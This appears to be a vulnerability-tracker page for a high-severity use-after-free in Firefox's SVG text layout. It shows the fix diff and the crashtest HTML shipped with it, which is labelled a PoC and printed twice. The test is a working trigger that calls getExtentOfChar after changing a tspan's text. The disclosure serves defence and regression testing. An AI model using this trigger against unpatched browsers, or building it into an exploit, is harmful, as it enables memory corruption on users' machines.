High firefox Logic Error 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Impacthigh
DescriptionUse-after-free in the SVG component
ComponentLayout
Bug ClassLogic Error
Tracker2079252
Fix commit7f7851f75320 (firefox) +31/-3
CISA KEVNot listed
CreditedMozilla
Disclosed2026-10-27

Changed Functions

FunctionChangeNotes
for
layout/svg/crashtests/2079252.html
modified

Files Changed

  • layout/svg/SVGTextFrame.cpp
  • layout/svg/crashtests/2079252.html
  • layout/svg/crashtests/crashtests.list
diff --git a/layout/svg/SVGTextFrame.cpp b/layout/svg/SVGTextFrame.cpp
index 548b4ce31ee..fe6b97aa55e 100644
--- a/layout/svg/SVGTextFrame.cpp
+++ b/layout/svg/SVGTextFrame.cpp
@@ -3994,6 +3994,8 @@ already_AddRefed<DOMSVGPoint> SVGTextFrame::GetEndPositionOfChar(
     return nullptr;
   }
 
+  RefPtr<const gfxTextRun> textRun = it.TextRun();
+
   // We need to return the end position of the whole glyph.
   uint32_t startIndex = it.GlyphStartTextElementCharIndex();
   float zoom = it.GetTextFrame()->Style()->EffectiveZoom().ToFloat();
@@ -4003,7 +4005,6 @@ already_AddRefed<DOMSVGPoint> SVGTextFrame::GetEndPositionOfChar(
       GetGlyphAdvance(this, aElement, startIndex,
                       it.IsClusterAndLigatureGroupStart() ? &it : nullptr) /
       mFontSizeScaleFactor;
-  const gfxTextRun* textRun = it.TextRun();
   if (textRun->IsInlineReversed()) {
     advance = -advance;
   }
@@ -4046,7 +4047,7 @@ already_AddRefed<SVGRect> SVGTextFrame::GetExtentOfChar(
 
   nsTextFrame* textFrame = it.GetTextFrame();
   uint32_t startIndex = it.GlyphStartTextElementCharIndex();
-  const gfxTextRun* textRun = it.TextRun();
+  RefPtr<const gfxTextRun> textRun = it.TextRun();
 
   // Get the glyph advance.
   gfxFloat advance =
@@ -4762,7 +4763,7 @@ void SVGTextFrame::DoTextPathLayout() {
 
       MOZ_ASSERT(!mPositions[i].mClusterOrLigatureGroupMiddle);
 
-      const gfxTextRun* textRun = it.TextRun();
+      RefPtr<const gfxTextRun> textRun = it.TextRun();
       bool vertical = textRun->IsVertical();
 
       // Compute cumulative advances for each character of the cluster or
diff --git a/layout/svg/crashtests/2079252.html b/layout/svg/crashtests/2079252.html
new file mode 100644
index 00000000000..a8d78aae061
--- /dev/null
+++ b/layout/svg/crashtests/2079252.html
@@ -0,0 +1,26 @@
+<!DOCTYPE html>
+<html>
+<head><meta charset="utf-8"></head>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600"><text id="t" y="20" style="white-space:pre"></text></svg>
+<script>
+const NS = "http://www.w3.org/2000/svg", t = document.getElementById("t"), m = 48;
+for (let i = 0; i < m; i++) {
+  const s = document.createElementNS(NS, "tspan");
+  s.setAttribute("style", i % 2 ? "font-size:20px" : "font-size:24px");
+  s.textContent = "x\ne" + String.fromCharCode(0x301);
+  t.appendChild(s);
+}
+const d = document.createElementNS(NS, "tspan");
+d.setAttribute("style", "font-size:30px");
+d.textContent = "w";
+t.appendChild(d);
+const total = t.getNumberOfChars();
+const per = (total - 1) / m;
+d.firstChild.data = "ww";
+for (let i = 0; i < m; i++) {
+  try { t.getExtentOfChar(i * per + per - 1); } catch (e) {}
+}
+</script>
+</body>
+</html>
diff --git a/layout/svg/crashtests/crashtests.list b/layout/svg/crashtests/crashtests.list
index 901a2eb7ab9..08618a4b31e 100644
--- a/layout/svg/crashtests/crashtests.list
+++ b/layout/svg/crashtests/crashtests.list
@@ -282,3 +282,4 @@ skip-if(isDebugBuild&&Android) load 1993379-1.html # bug 1467887
 load 1906769-1.html
 load 2073222.html
 load 2076198.html
+load 2079252.html
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/layout/svg/crashtests/2079252.html b/layout/svg/crashtests/2079252.html
new file mode 100644
index 00000000000..a8d78aae061
--- /dev/null
+++ b/layout/svg/crashtests/2079252.html
@@ -0,0 +1,26 @@
+<!DOCTYPE html>
+<html>
+<head><meta charset="utf-8"></head>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600"><text id="t" y="20" style="white-space:pre"></text></svg>
+<script>
+const NS = "http://www.w3.org/2000/svg", t = document.getElementById("t"), m = 48;
+for (let i = 0; i < m; i++) {
+  const s = document.createElementNS(NS, "tspan");
+  s.setAttribute("style", i % 2 ? "font-size:20px" : "font-size:24px");
+  s.textContent = "x\ne" + String.fromCharCode(0x301);
+  t.appendChild(s);
+}
+const d = document.createElementNS(NS, "tspan");
+d.setAttribute("style", "font-size:30px");
+d.textContent = "w";
+t.appendChild(d);
+const total = t.getNumberOfChars();
+const per = (total - 1) / m;
+d.firstChild.data = "ww";
+for (let i = 0; i < m; i++) {
+  try { t.getExtentOfChar(i * per + per - 1); } catch (e) {}
+}
+</script>
+</body>
+</html>
diff --git a/layout/svg/crashtests/crashtests.list b/layout/svg/crashtests/crashtests.list
index 901a2eb7ab9..08618a4b31e 100644
--- a/layout/svg/crashtests/crashtests.list
+++ b/layout/svg/crashtests/crashtests.list
@@ -282,3 +282,4 @@ skip-if(isDebugBuild&&Android) load 1993379-1.html # bug 1467887
 load 1906769-1.html
 load 2073222.html
 load 2076198.html
+load 2079252.html
Loading diff…